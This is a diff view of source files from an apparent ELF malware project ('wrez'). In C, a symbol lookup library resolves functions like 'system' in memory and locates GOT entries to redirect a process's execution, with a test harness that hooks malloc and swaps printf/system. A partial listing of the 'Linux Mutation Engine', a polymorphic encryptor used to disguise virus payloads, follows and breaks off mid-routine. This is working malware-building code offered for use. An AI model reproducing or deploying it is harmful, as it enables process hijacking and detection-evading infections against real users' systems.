| 48 | char *strtab, Elf32_Word *hash); | ||
| 49 | |||
| 50 | |||
| 51 | /* naive, but small | ||
| 52 | */ | ||
| 53 | static int | ||
| 54 | strstr (unsigned char *s1_hay, unsigned char *s2_needle) | ||
| 55 | { | ||
| 56 | unsigned char * s1wh; | ||
| 57 | unsigned char * s2wn; | ||
| 58 | |||
| 59 | while (*s1_hay != 0) { | ||
| 60 | s1wh = s1_hay++; | ||
| 61 | s2wn = s2_needle; | ||
| 62 | |||
| 63 | while (*s1wh++ == *s2wn++) { | ||
| 64 | if (*s2wn == 0) | ||
| 65 | return (0); /* found */ | ||
| 66 | } | ||
| 67 | } | ||
| 68 | |||
| 69 | return (1); /* not found */ | ||
| 70 | } | ||
| 71 | |||
| 72 | |||
| 73 | static int | ||
| 74 | strmatch (char *s1, char *s2) | ||
| 75 | { | ||
| 76 | while (*s1++ == *s2++) | ||
| 77 | if (*s1 == 0 && *s2 == 0) | ||
| 78 | return (0); | ||
| 79 | |||
| 80 | return (1); | ||
| 81 | } | ||
| 82 | |||
| 83 | |||
| 84 | static struct link_map * | ||
| 85 | locate_link_map (void *mybase) | ||
| 86 | { | ||
| 87 | Elf32_Word * got = NULL; | ||
| 88 | Elf32_Dyn * dyn; | ||
| 89 | struct link_map * lm; | ||
| 90 | |||
| 91 | |||
| 92 | dyn = dynamic_address (mybase); | ||
| 93 | dyn = dynamic_findtype (dyn, DT_PLTGOT); | ||
| 94 | if (dyn == NULL) | ||
| 95 | return (NULL); | ||
| 96 | |||
| 97 | got = (Elf32_Word *) dyn->d_un.d_ptr; | ||
| 98 | |||
| 99 | /* platform dependant */ | ||
| 100 | #define GOT_LM_PTR 1 | ||
| 101 | lm = (struct link_map *) got[GOT_LM_PTR]; | ||
| 102 | while (lm != NULL && lm->l_prev != NULL) | ||
| 103 | lm = lm->l_prev; | ||
| 104 | |||
| 105 | return (lm); | ||
| 106 | } | ||
| 107 | |||
| 108 | |||
| 109 | static Elf32_Dyn * | ||
| 110 | dynamic_address (void *mybase) | ||
| 111 | { | ||
| 112 | Elf32_Ehdr * e = (Elf32_Ehdr *) mybase; | ||
| 113 | int phw; | ||
| 114 | Elf32_Phdr * ph; | ||
| 115 | |||
| 116 | |||
| 117 | ph = (Elf32_Phdr *) ((char *) e + e->e_phoff); | ||
| 118 | |||
| 119 | for (phw = 0 ; phw < e->e_phnum ; ++phw) { | ||
| 120 | if (ph[phw].p_type == PT_DYNAMIC) | ||
| 121 | return ((Elf32_Dyn *) ph[phw].p_vaddr); | ||
| 122 | } | ||
| 123 | |||
| 124 | return (NULL); | ||
| 125 | } | ||
| 126 | |||
| 127 | |||
| 128 | static Elf32_Dyn * | ||
| 129 | dynamic_findtype (Elf32_Dyn *dyntab, Elf32_Sword dttype) | ||
| 130 | { | ||
| 131 | for ( ; dyntab->d_tag != DT_NULL ; ++dyntab) { | ||
| 132 | if (dyntab->d_tag == dttype) { | ||
| 133 | return (dyntab); | ||
| 134 | |||
| 135 | break; | ||
| 136 | } | ||
| 137 | } | ||
| 138 | |||
| 139 | return (NULL); | ||
| 140 | } | ||
| 141 | |||
| 142 | |||
| 143 | static Elf32_Sym * | ||
| 144 | symtab_findfunc (Elf32_Sym *sym, char *name, char *strtab, | ||
| 145 | Elf32_Word *hash) | ||
| 146 | { | ||
| 147 | unsigned long tidx; /* table index */ | ||
| 148 | Elf32_Word * chain = &hash[2 + hash[0]]; | ||
| 149 | |||
| 150 | |||
| 151 | for (tidx = hash[2 + (elf_hash (name) % hash[0])] ; | ||
| 152 | tidx != STN_UNDEF ; tidx = chain[tidx]) | ||
| 153 | { | ||
| 154 | if (ELF32_ST_TYPE (sym[tidx].st_info) != STT_FUNC) | ||
| 155 | continue; | ||
| 156 | |||
| 157 | if (strmatch (&strtab[sym[tidx].st_name], name) == 0) | ||
| 158 | return (&sym[tidx]); | ||
| 159 | } | ||
| 160 | |||
| 161 | return (NULL); | ||
| 162 | } | ||
| 163 | |||
| 164 | |||
| 165 | |||
| 166 | static inline unsigned long | ||
| 167 | elf_hash (const char *name) | ||
| 168 | { | ||
| 169 | unsigned long h = 0, | ||
| 170 | g; | ||
| 171 | |||
| 172 | |||
| 173 | while (*name) { | ||
| 174 | h = (h << 4) + *name++; | ||
| 175 | |||
| 176 | if ((g = h & 0xf0000000)) | ||
| 177 | h ^= g >> 24; | ||
| 178 | h &= ~g; | ||
| 179 | } | ||
| 180 | |||
| 181 | return (h); | ||
| 182 | } | ||
| 183 | |||
| 184 | |||
| 185 | static int | ||
| 186 | symbol_helpstruct (void *mybase, Elf32_Dyn *dyno, struct sym_helper *shlp) | ||
| 187 | { | ||
| 188 | Elf32_Dyn * dyn; | ||
| 189 | |||
| 190 | |||
| 191 | shlp->dynsymtab = shlp->dynstrtab = | ||
| 192 | (void *) shlp->dynhash = (void *) NULL; | ||
| 193 | |||
| 194 | if (dyno != NULL) | ||
| 195 | dyn = dyno; | ||
| 196 | else | ||
| 197 | dyn = dynamic_address (mybase); | ||
| 198 | |||
| 199 | if (dyn == NULL) | ||
| 200 | return (1); | ||
| 201 | |||
| 202 | shlp->dynsymtab = dynamic_findtype (dyn, DT_SYMTAB); | ||
| 203 | shlp->dynstrtab = dynamic_findtype (dyn, DT_STRTAB); | ||
| 204 | dyn = dynamic_findtype (dyn, DT_HASH); | ||
| 205 | if (dyn != NULL) | ||
| 206 | shlp->dynhash = (Elf32_Word *) dyn->d_un.d_ptr; | ||
| 207 | |||
| 208 | if (shlp->dynsymtab == NULL || shlp->dynstrtab == NULL || | ||
| 209 | shlp->dynhash == NULL) | ||
| 210 | { | ||
| 211 | return (1); | ||
| 212 | } | ||
| 213 | |||
| 214 | return (0); | ||
| 215 | } | ||
| 216 | |||
| 217 | |||
| 218 | /* public functions | ||
| 219 | */ | ||
| 220 | |||
| 221 | int | ||
| 222 | lib_ismapped (void *mybase, char *str) | ||
| 223 | { | ||
| 224 | struct link_map * lm; | ||
| 225 | |||
| 226 | |||
| 227 | for (lm = locate_link_map (mybase) ; lm != NULL ; lm = lm->l_next) { | ||
| 228 | if (strstr (lm->l_name, str) == 0) | ||
| 229 | return (1); | ||
| 230 | } | ||
| 231 | |||
| 232 | return (0); | ||
| 233 | } | ||
| 234 | |||
| 235 | |||
| 236 | void * | ||
| 237 | symbol_resolve (void *mybase, char *sym_name) | ||
| 238 | { | ||
| 239 | struct sym_helper shlp; | ||
| 240 | struct link_map * lm; | ||
| 241 | Elf32_Sym * psym; | ||
| 242 | Elf32_Dyn * dwalk; | ||
| 243 | |||
| 244 | |||
| 245 | lm = locate_link_map (mybase); | ||
| 246 | if (lm == NULL) | ||
| 247 | return (NULL); | ||
| 248 | |||
| 249 | /* scan link maps for the symbol | ||
| 250 | */ | ||
| 251 | for ( ; lm->l_next != NULL ; lm = lm->l_next) { | ||
| 252 | |||
| 253 | /* compile necessary info for this link map | ||
| 254 | */ | ||
| 255 | for (dwalk = lm->l_ld ; dwalk->d_tag != DT_NULL ; ++dwalk) { | ||
| 256 | switch (dwalk->d_tag) { | ||
| 257 | case (DT_HASH): | ||
| 258 | shlp.dynhash = (Elf32_Word *) | ||
| 259 | (((char *) dwalk->d_un.d_ptr) + | ||
| 260 | lm->l_addr); | ||
| 261 | break; | ||
| 262 | case (DT_STRTAB): | ||
| 263 | shlp.dynstrtab = dwalk; | ||
| 264 | break; | ||
| 265 | case (DT_SYMTAB): | ||
| 266 | shlp.dynsymtab = dwalk; | ||
| 267 | break; | ||
| 268 | default: | ||
| 269 | break; | ||
| 270 | } | ||
| 271 | } | ||
| 272 | |||
| 273 | psym = symtab_findfunc ((Elf32_Sym *) shlp.dynsymtab->d_un.d_ptr, | ||
| 274 | sym_name, (char *) shlp.dynstrtab->d_un.d_ptr, | ||
| 275 | shlp.dynhash); | ||
| 276 | |||
| 277 | if (psym != NULL) | ||
| 278 | return (((char *) lm->l_addr) + psym->st_value); | ||
| 279 | } | ||
| 280 | |||
| 281 | return (NULL); | ||
| 282 | } | ||
| 283 | |||
| 284 | |||
| 285 | int | ||
| 286 | got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len, | ||
| 287 | char *substr) | ||
| 288 | { | ||
| 289 | int darr_cur = 0; | ||
| 290 | struct link_map * lm; | ||
| 291 | |||
| 292 | |||
| 293 | lm = locate_link_map (mybase); | ||
| 294 | |||
| 295 | while (darr_cur < darr_len) { | ||
| 296 | /* no more link maps to process | ||
| 297 | */ | ||
| 298 | if (lm == NULL) | ||
| 299 | return (darr_cur); | ||
| 300 | |||
| 301 | #ifdef TESTING_DEBUG | ||
| 302 | printf ("%s @ 0x%08x\n", lm->l_name, (unsigned int) lm->l_ld); | ||
| 303 | #endif | ||
| 304 | if (substr == NULL || strstr (lm->l_name, substr) == 0) { | ||
| 305 | darr[darr_cur] = got_funcloc_dyn (lm->l_ld, lm->l_addr, | ||
| 306 | name); | ||
| 307 | |||
| 308 | if (darr[darr_cur] != NULL) | ||
| 309 | darr_cur += 1; /* good god, got a GOT entry */ | ||
| 310 | } | ||
| 311 | |||
| 312 | /* next linkmap | ||
| 313 | */ | ||
| 314 | lm = lm->l_next; | ||
| 315 | } | ||
| 316 | |||
| 317 | return (darr_cur); | ||
| 318 | } | ||
| 319 | |||
| 320 | |||
| 321 | Elf32_Word * | ||
| 322 | got_funcloc (void *mybase, char *name) | ||
| 323 | { | ||
| 324 | Elf32_Dyn * dyn = dynamic_address (mybase); | ||
| 325 | |||
| 326 | return (got_funcloc_dyn (dyn, 0, name)); | ||
| 327 | } | ||
| 328 | |||
| 329 | |||
| 330 | Elf32_Word * | ||
| 331 | got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name) | ||
| 332 | { | ||
| 333 | struct sym_helper shlp; | ||
| 334 | Elf32_Dyn * pltrel; | ||
| 335 | Elf32_Dyn * pltrelsz; | ||
| 336 | |||
| 337 | unsigned int rwk; /* relocation walker */ | ||
| 338 | Elf32_Rel * relw; | ||
| 339 | Elf32_Sym * rsym; | ||
| 340 | |||
| 341 | |||
| 342 | if (symbol_helpstruct (NULL, dyno, &shlp)) | ||
| 343 | return (NULL); | ||
| 344 | shlp.dynhash = (Elf32_Word *) (((char *) shlp.dynhash) + | ||
| 345 | loadbase); | ||
| 346 | |||
| 347 | pltrel = dynamic_findtype (dyno, DT_JMPREL); | ||
| 348 | pltrelsz = dynamic_findtype (dyno, DT_PLTRELSZ); | ||
| 349 | if (pltrel == NULL || pltrelsz == NULL) | ||
| 350 | return (NULL); | ||
| 351 | |||
| 352 | /* walk all relocation entries for the .plt | ||
| 353 | */ | ||
| 354 | relw = (Elf32_Rel *) pltrel->d_un.d_ptr; | ||
| 355 | for (rwk = pltrelsz->d_un.d_val / sizeof (Elf32_Rel) ; | ||
| 356 | rwk > 0 ; --rwk, relw += 1) | ||
| 357 | { | ||
| 358 | if (ELF32_R_TYPE (relw->r_info) != R_386_JMP_SLOT) | ||
| 359 | continue; | ||
| 360 | |||
| 361 | if (ELF32_R_SYM (relw->r_info) == STN_UNDEF) | ||
| 362 | continue; | ||
| 363 | |||
| 364 | rsym = (Elf32_Sym *) shlp.dynsymtab->d_un.d_ptr; | ||
| 365 | rsym = &rsym[ELF32_R_SYM (relw->r_info)]; | ||
| 366 | |||
| 367 | if (strmatch (name, | ||
| 368 | &(((char *) shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])) == 0) | ||
| 369 | { | ||
| 370 | /* rsym->st_value: | ||
| 371 | * == 0: | ||
| 372 | * got = loadbase + relw->r_offset | ||
| 373 | * != 0: | ||
| 374 | * func_entry = loadbase + rsym->st_value | ||
| 375 | * got = loadbase + relw->r_offset | ||
| 376 | */ | ||
| 377 | #ifdef TESTING_DEBUG | ||
| 378 | printf ("rsym: %s\n", &(((char *) | ||
| 379 | shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])); | ||
| 380 | #endif | ||
| 381 | return ((Elf32_Word *) (loadbase + relw->r_offset)); | ||
| 382 | } | ||
| 383 | |||
| 384 | #ifdef TESTING_DEBUG_VERBOSE | ||
| 385 | printf ("rsym: %s\n", &(((char *) shlp.dynstrtab->d_un.d_ptr)[rsym->st_name])); | ||
| 386 | #endif | ||
| 387 | } | ||
| 388 | |||
| 389 | return (NULL); | ||
| 390 | } | ||
| 391 | |||
| 392 | |||
| 393 | #ifdef TESTING | ||
| 394 | int | ||
| 395 | my_execve(const char *filename, char *const argv [], char *const envp[]) | ||
| 396 | { | ||
| 397 | printf ("execve IS hooked within execve() call\n"); | ||
| 398 | |||
| 399 | return (0); | ||
| 400 | } | ||
| 401 | |||
| 402 | |||
| 403 | void * | ||
| 404 | my_malloc (unsigned int size) | ||
| 405 | { | ||
| 406 | fprintf (stderr, "my_malloc (%u)\n", size); | ||
| 407 | |||
| 408 | return (NULL); | ||
| 409 | } | ||
| 410 | |||
| 411 | |||
| 412 | |||
| 413 | int | ||
| 414 | main (void) | ||
| 415 | { | ||
| 416 | int n, | ||
| 417 | wk; | ||
| 418 | |||
| 419 | void * my_addr = (void *) 0x08048000; | ||
| 420 | char * sym_name = "system"; | ||
| 421 | int (*systemf)(char *); | ||
| 422 | |||
| 423 | Elf32_Word * got_printf; | ||
| 424 | Elf32_Word * got_system; | ||
| 425 | Elf32_Word * got_malloc; | ||
| 426 | |||
| 427 | char * eargv[3] = { "/usr/bin/id", "id", NULL }; | ||
| 428 | Elf32_Word * got_execve; | ||
| 429 | Elf32_Word * got_arr[16]; | ||
| 430 | |||
| 431 | |||
| 432 | printf ("ismapped(\"libpcap\") = %d\n", lib_ismapped (my_addr, | ||
| 433 | "libpcap")); | ||
| 434 | printf ("ismapped(\"libc.so\") = %d\n", lib_ismapped (my_addr, | ||
| 435 | "libc.so")); | ||
| 436 | printf ("ismapped(\"libpam\") = %d\n", lib_ismapped (my_addr, | ||
| 437 | "libpam")); | ||
| 438 | |||
| 439 | systemf = symbol_resolve (my_addr, sym_name); | ||
| 440 | if (systemf == NULL) | ||
| 441 | _exit (1); | ||
| 442 | |||
| 443 | (*systemf)("uname -a;id;\n"); | ||
| 444 | system("echo real system;\n"); | ||
| 445 | |||
| 446 | printf ("hello\n"); | ||
| 447 | |||
| 448 | got_printf = got_funcloc (my_addr, "printf"); | ||
| 449 | got_system = got_funcloc (my_addr, "system"); | ||
| 450 | got_execve = got_funcloc (my_addr, "execve"); | ||
| 451 | |||
| 452 | /* get execve GOT table locations | ||
| 453 | */ | ||
| 454 | n = got_funcloc_array (my_addr, "myshareddeepfunc", got_arr, 16, "shared-library"); | ||
| 455 | printf ("got_funcloc_array (myshareddeepfunc) = %d\n", n); | ||
| 456 | for (wk = 0 ; wk < n ; ++wk) | ||
| 457 | printf (" got_arr[%d] = 0x%08x [0x%08x]\n", wk, | ||
| 458 | (unsigned int) got_arr[wk], | ||
| 459 | *got_arr[wk]); | ||
| 460 | |||
| 461 | got_malloc = got_arr[0]; | ||
| 462 | *got_malloc = (Elf32_Word) my_malloc; | ||
| 463 | |||
| 464 | mysharedfunc (1911); | ||
| 465 | #if 0 | ||
| 466 | /* replace execve, then try to call execve and then system | ||
| 467 | */ | ||
| 468 | *got_execve = (Elf32_Word) my_execve; | ||
| 469 | execve (eargv[0], eargv, NULL); | ||
| 470 | system ("echo \"execve NOT hooked within system() call\""); | ||
| 471 | |||
| 472 | /* swap printf and system GOT entries, that is fun! | ||
| 473 | */ | ||
| 474 | *got_printf ^= *got_system; | ||
| 475 | *got_system ^= *got_printf; | ||
| 476 | *got_printf ^= *got_system; | ||
| 477 | |||
| 478 | printf ("echo printf called, system executed;id;uname -a;\n"); | ||
| 479 | system ("system called, printf executed\n"); | ||
| 480 | #endif | ||
| 481 | |||
| 482 | return (0); | ||
| 483 | } | ||
| 484 | #endif | ||
| 485 | |||
diff --git a/other/wrez/lookup.h b/other/wrez/lookup.h new file mode 100644 index 0000000..770f57c --- /dev/null +++ b/other/wrez/lookup.h | |||
| @@ -0,0 +1,77 @@ | |||
| 1 | |||
| 2 | #ifndef LOOKUP_H | ||
| 3 | #define LOOKUP_H | ||
| 4 | |||
| 5 | #include <elf.h> | ||
| 6 | |||
| 7 | |||
| 8 | /* lib_ismapped | ||
| 9 | * | ||
| 10 | * walk through the list of all mapped libraries and perform a strstr | ||
| 11 | * substring search on the library name with the string `str' as needle. | ||
| 12 | * | ||
| 13 | * example: if (lib_ismapped (0x08048000, "libc.so")) { | ||
| 14 | * | ||
| 15 | * return 0 if the library is not mapped | ||
| 16 | * return 1 if the library is mapped | ||
| 17 | */ | ||
| 18 | |||
| 19 | int | ||
| 20 | lib_ismapped (void *mybase, char *str); | ||
| 21 | |||
| 22 | |||
| 23 | /* symbol_resolve | ||
| 24 | * | ||
| 25 | * try to resolve the function symbol with the name `sym_name' within the | ||
| 26 | * current executeable. the base address (first byte of .text, first byte of | ||
| 27 | * first PT_LOAD segment) is needed to locate the tables necessary for the | ||
| 28 | * lookup. it is normally 0x08048000 for a gcc compiled linux binary. | ||
| 29 | * | ||
| 30 | * return pointer to function named `sym_name' on success | ||
| 31 | * return NULL in case of failure (symbol was not found) | ||
| 32 | */ | ||
| 33 | |||
| 34 | void * | ||
| 35 | symbol_resolve (void *mybase, char *sym_name); | ||
| 36 | |||
| 37 | |||
| 38 | /* got_funcloc | ||
| 39 | * | ||
| 40 | * try to locate the function `name's got entry address. the executeable base | ||
| 41 | * must be given through `mybase'. this is where the elf header is supposed to | ||
| 42 | * be. the difference of this function to symbol_resolve is that you can only | ||
| 43 | * find functions used by the host program with this one, while symbol_resolve | ||
| 44 | * will locate any mapped one. also, this function returns a pointer to the | ||
| 45 | * GOT address, not the address itself. by changing the GOT entry you can | ||
| 46 | * redirect the execution of the host process. but be advised, that the code | ||
| 47 | * you are redirecting it to has to be mapped. | ||
| 48 | * | ||
| 49 | * return NULL on failure (function not found, insufficient dynamic info) | ||
| 50 | * this is often the case, when the host program does not use the function | ||
| 51 | * return pointer to GOT entry on success. [retval] is the address itself. | ||
| 52 | */ | ||
| 53 | |||
| 54 | Elf32_Word * | ||
| 55 | got_funcloc (void *mybase, char *name); | ||
| 56 | |||
| 57 | Elf32_Word * | ||
| 58 | got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name); | ||
| 59 | |||
| 60 | |||
| 61 | /* got_funcloc_array | ||
| 62 | * | ||
| 63 | * build an array of GOT locations through all available link maps. the base | ||
| 64 | * of the current elf is needed (`mybase'). the name of the function symbol | ||
| 65 | * to be resolved is `name', and the array will be put at `darr', where no | ||
| 66 | * more than `darr_len' entries will be put. if `substr' is non-NULL, only | ||
| 67 | * libraries with a full pathname containing `substr' will be processed. | ||
| 68 | * | ||
| 69 | * return the number (< darr_len) of entires stored, 0 for none | ||
| 70 | */ | ||
| 71 | |||
| 72 | int | ||
| 73 | got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len, | ||
| 74 | char *substr); | ||
| 75 | |||
| 76 | #endif | ||
| 77 | |||
diff --git a/other/wrez/lookup.o b/other/wrez/lookup.o new file mode 100644 index 0000000..e421caf --- /dev/null +++ b/other/wrez/lookup.o | |||
| Binary files differ | |||
diff --git a/other/wrez/obsolete/lime.original.s b/other/wrez/obsolete/lime.original.s new file mode 100644 index 0000000..12f663a --- /dev/null +++ b/other/wrez/obsolete/lime.original.s | |||
| @@ -0,0 +1,1332 @@ | |||
| 1 | |||
| 2 | ; *************************************************************** | ||
| 3 | ; To compile [LiME] under Linux with NASM... Follow as: | ||
| 4 | ; nasm -f elf lime-gen.s | ||
| 5 | ; ld -e main lime-gen.o -o lime-gen | ||
| 6 | ; *************************************************************** | ||
| 7 | |||
| 8 | section .data | ||
| 9 | global main | ||
| 10 | |||
| 11 | ; *************************************************************** | ||
| 12 | ; Linux Mutation Engine (source code) | ||
| 13 | ; [LiME] Version: 0.2.0 Last update: 2001/02/28 | ||
| 14 | ; Written by zhugejin at Taipei, Taiwan. Date: 2000/10/10 | ||
| 15 | ; E-mail: zhugejin.bbs@bbs.csie.nctu.edu.tw | ||
| 16 | ; WWW: http://cvex.fsn.net | ||
| 17 | ; *************************************************************** | ||
| 18 | |||
| 19 | ; Input: | ||
| 20 | ; EBX = pointer to memory buffer where LiME will store decryptor | ||
| 21 | ; and encrypted data | ||
| 22 | ; ECX = pointer to the data, u want to encrypt | ||
| 23 | ; EDX = size of data, u want to encrypt | ||
| 24 | ; EBP = delta offset | ||
| 25 | ; | ||
| 26 | ; Output: | ||
| 27 | ; ECX = address of decryptor+encrypted data | ||
| 28 | ; EDX = size of decryptor+encrypted data | ||
| 29 | |||
| 30 | LIME_BEGIN: | ||
| 31 | dd LIME_SIZE ; size of [LiME] | ||
| 32 | |||
| 33 | lime_pre_opcod_tab db 10000000b ; add | ||
| 34 | db 10101000b ; sub | ||
| 35 | db 10110000b ; xor | ||
| 36 | db 10000000b ; add | ||
| 37 | |||
| 38 | lime_enc_opcod_tab db 80h,10000000b, 2ah,11000001b ; add/sub | ||
| 39 | db 80h,10101000b, 02h,11000001b ; sub/add | ||
| 40 | db 80h,10110000b, 32h,11000001b ; xor/xor | ||
| 41 | db 82h,10000000b, 2ah,11000001b ; add/sub | ||
| 42 | db 82h,10101000b, 02h,11000001b ; sub/add | ||
| 43 | db 82h,10110000b, 32h,11000001b ; xor/xor | ||
| 44 | db 0c0h,10000000b,0d2h,11001000b ; rol/ror | ||
| 45 | db 0c0h,10001000b,0d2h,11000000b ; ror/rol | ||
| 46 | |||
| 47 | db 0d0h,10000000b,0d0h,11001000b ; rol/ror | ||
| 48 | db 0d0h,10001000b,0d0h,11000000b ; ror/rol | ||
| 49 | db 0f6h,10010000b,0f6h,11010000b ; not/not | ||
| 50 | db 0f6h,10011000b,0f6h,11011000b ; neg/neg | ||
| 51 | db 0feh,10000000b,0feh,11001000b ; inc/dec | ||
| 52 | db 0feh,10001000b,0feh,11000000b ; dec/inc | ||
| 53 | |||
| 54 | db 00h,10000000b, 2ah,11000001b ; add/sub | ||
| 55 | db 28h,10000000b, 02h,11000001b ; sub/add | ||
| 56 | db 30h,10000000b, 32h,11000001b ; xor/xor | ||
| 57 | ;-------------------------------------------- | ||
| 58 | db 10h,10000000b, 1ah,11000001b ; adc/sbb | ||
| 59 | db 18h,10000000b, 12h,11000001b ; sbb/adc | ||
| 60 | |||
| 61 | db 80h,10010000b, 1ah,11000001b ; adc/sbb | ||
| 62 | db 80h,10011000b, 12h,11000001b ; sbb/adc | ||
| 63 | db 82h,10010000b, 1ah,11000001b ; adc/sbb | ||
| 64 | db 82h,10011000b, 12h,11000001b ; sbb/adc | ||
| 65 | |||
| 66 | lime_zero_reg_opcod_tab db 29h,00011000b ; sub reg,reg | ||
| 67 | db 2bh,00011000b ; sub reg,reg | ||
| 68 | db 31h,00011000b ; xor reg,reg | ||
| 69 | db 33h,00011000b ; xor reg,reg | ||
| 70 | lime_init_reg_opcod_tab db 81h,11000000b ; add reg,xxxxxxxx | ||
| 71 | db 81h,11001000b ; or reg,xxxxxxxx | ||
| 72 | db 81h,11110000b ; xor reg,xxxxxxxx | ||
| 73 | db 81h,11000000b ; add reg,xxxxxxxx | ||
| 74 | |||
| 75 | ;----------------------------------------------- | ||
| 76 | LIME_make_tsh_cod dd lime_make_tsh_cod | ||
| 77 | LIME_make_noflags_cod dd lime_make_noflags_cod | ||
| 78 | LIME_set_disp_reg dd lime_set_disp_reg | ||
| 79 | LIME_save_edi dd lime_save_edi | ||
| 80 | @ equ $ | ||
| 81 | LIME_rnd dd lime_rnd | ||
| 82 | LIME_rnd_reg dd lime_rnd_reg | ||
| 83 | LIME_rnd_al dd lime_rnd_al | ||
| 84 | LIME_rnd_eax_and_al dd lime_rnd_eax_and_al | ||
| 85 | LIME_rnd_esi dd lime_rnd_esi | ||
| 86 | ;----------------------------------------------- | ||
| 87 | |||
| 88 | lime_add4_reg_opcod_tab db 11000000b,11000000b,04h,-4h ; add/add | ||
| 89 | db 11000000b,11101000b,-4h,04h ; add/sub | ||
| 90 | db 11101000b,11101000b,-4h,04h ; sub/sub | ||
| 91 | db 11101000b,11000000b,04h,-4h ; sub/add | ||
| 92 | |||
| 93 | lime_mk_mov_cod_addr dw lime_mmc1-@,lime_mmc2-@,lime_mmc3-@ | ||
| 94 | lime_mk_inc_cod_addr dw lime_mic1-@,lime_mic2-@,lime_mic3-@ | ||
| 95 | lime_mk_jxx_cod_addr dw lime_mjc1-@,lime_mjc2-@ | ||
| 96 | |||
| 97 | lime_mk_tsh_cod_addr dw lime_mtc1-@,lime_mtc2-@,lime_mtc3-@,lime_mtc4-@ | ||
| 98 | dw lime_mtc5-@,lime_mtc6-@,lime_mtc7-@,lime_mtc8-@ | ||
| 99 | dw lime_mtc9-@ | ||
| 100 | ; dw lime_simd-@ | ||
| 101 | ; dw lime_3dnow-@ | ||
| 102 | |||
| 103 | jxx_addr dd 0 | ||
| 104 | ret_addr dd 0 | ||
| 105 | pre_addr dd 0 | ||
| 106 | pre_count db 0 | ||
| 107 | |||
| 108 | lime_rnd_val dd 0 | ||
| 109 | |||
| 110 | orig_reg db 0 | ||
| 111 | disp_reg db 0 | ||
| 112 | temp_reg db 0 | ||
| 113 | key_reg db 0 | ||
| 114 | |||
| 115 | ; +------------> make no-flags code | ||
| 116 | ; |+-----------> *reserved* for SIMD Instruction | ||
| 117 | ; ||+----------> *reserved* for 3DNow! Instruction | ||
| 118 | ; ||| +------> xchg disp_reg with orig_reg | ||
| 119 | ; ||| | | ||
| 120 | para_eax db 00000000b ; parameters of LiME | ||
| 121 | para_ebx dd 0 ; address of buffer for new decryptor | ||
| 122 | para_ecx dd 0 ; begin of code to be decrypted | ||
| 123 | para_edx dd 0 ; size of code to be decrypted | ||
| 124 | para_ebp dd 0 ; displacement of decryptor | ||
| 125 | para_esp dd 0 | ||
| 126 | |||
| 127 | ; +--------------------> byte / dword | ||
| 128 | ; |+-------------------> mod := (disp32/disp8) | ||
| 129 | ; ||+------------------> *not used* | ||
| 130 | ; |||+-----------------> *not used* | ||
| 131 | ; ||||+----------------> inc reg / dec reg | ||
| 132 | ; |||||++--------------> *not used* | ||
| 133 | ; |||||||+-------------> clc / stc | ||
| 134 | enc_type dd 00000000b | ||
| 135 | |||
| 136 | adr_ndx dd 0 | ||
| 137 | adr_0 dd 0,0,0,0,0,0,0,0 | ||
| 138 | adr_1 dd 0,0,0,0,0,0,0,0 | ||
| 139 | adr_2 dd 0,0,0,0,0,0,0,0 | ||
| 140 | adr_3 dd 0,0,0,0,0,0,0,0 | ||
| 141 | |||
| 142 | lime_mmx_opcod_tab: | ||
| 143 | db 60h, 61h, 62h, 63h, 64h, 65h, 66h, 67h, 68h, 69h, 6ah, 6bh, 6eh, 6fh | ||
| 144 | db 74h, 75h, 76h, 6eh, 6fh,0d1h,0d2h,0d3h,0d5h,0d8h,0d9h,0dbh,0dch,0ddh | ||
| 145 | db 0dfh,0e1h,0e2h,0e5h,0e8h,0e9h,0ebh,0ech,0edh,0efh,0f1h,0f2h,0f3h,0f5h | ||
| 146 | db 0f8h,0f9h,0fah,0fch,0fdh,0feh | ||
| 147 | |||
| 148 | ; --------------------------------------------------------------- | ||
| 149 | |||
| 150 | LIME: | ||
| 151 | pushf | ||
| 152 | cld | ||
| 153 | |||
| 154 | mov edi,ebx | ||
| 155 | |||
| 156 | push ebp | ||
| 157 | call lime_reloc | ||
| 158 | lime_reloc: | ||
| 159 | pop ebp | ||
| 160 | sub ebp,lime_reloc-@ | ||
| 161 | pop dword [ebp-@+para_ebp] | ||
| 162 | mov [ebp-@+para_ebx],ebx | ||
| 163 | mov [ebp-@+para_ecx],ecx | ||
| 164 | mov [ebp-@+para_edx],edx | ||
| 165 | mov [ebp-@+para_esp],esp | ||
| 166 | |||
| 167 | call lime_make_prefix_decrypt ; | ||
| 168 | mov [ebp-@+pre_addr],esp | ||
| 169 | |||
| 170 | mov al,3 | ||
| 171 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 172 | mov [ebp-@+adr_ndx],eax | ||
| 173 | xchg ecx,eax | ||
| 174 | inc ecx | ||
| 175 | lea esi,[ebp-@+adr_0] | ||
| 176 | lime_make_next_decrypt: | ||
| 177 | call lime_make_decrypt ; | ||
| 178 | ror dword [ebp-@+enc_type],8 | ||
| 179 | loop lime_make_next_decrypt | ||
| 180 | |||
| 181 | call lime_encrypt ; | ||
| 182 | |||
| 183 | mov ecx,[ebp-@+para_ebx] | ||
| 184 | mov edx,edi | ||
| 185 | sub edx,ecx | ||
| 186 | |||
| 187 | mov esp,[ebp-@+para_esp] | ||
| 188 | popf | ||
| 189 | ret | ||
| 190 | |||
| 191 | ; --------------------------------------------------------------- | ||
| 192 | |||
| 193 | lime_make_prefix_decrypt: | ||
| 194 | pop dword [ebp-@+ret_addr] | ||
| 195 | call [ebp-@+LIME_make_tsh_cod] | ||
| 196 | |||
| 197 | mov al,7 | ||
| 198 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 199 | add al,7 | ||
| 200 | mov [ebp-@+pre_count],al | ||
| 201 | xchg ecx,eax | ||
| 202 | mk_next_prefix_decrypt: | ||
| 203 | call [ebp-@+LIME_make_tsh_cod] | ||
| 204 | call [ebp-@+LIME_set_disp_reg] | ||
| 205 | |||
| 206 | call lime_make_mov_cod | ||
| 207 | push edi ; p0 | ||
| 208 | stosd | ||
| 209 | |||
| 210 | call lime_make_xchg_cod_rnd | ||
| 211 | |||
| 212 | mov al,02h | ||
| 213 | call [ebp-@+LIME_rnd_eax_and_al] | ||
| 214 | add al,81h ; (add/sub/xor) dword [reg+(xxxxxx)xx],xxxxxxxx | ||
| 215 | stosb | ||
| 216 | push eax | ||
| 217 | mov al,03h | ||
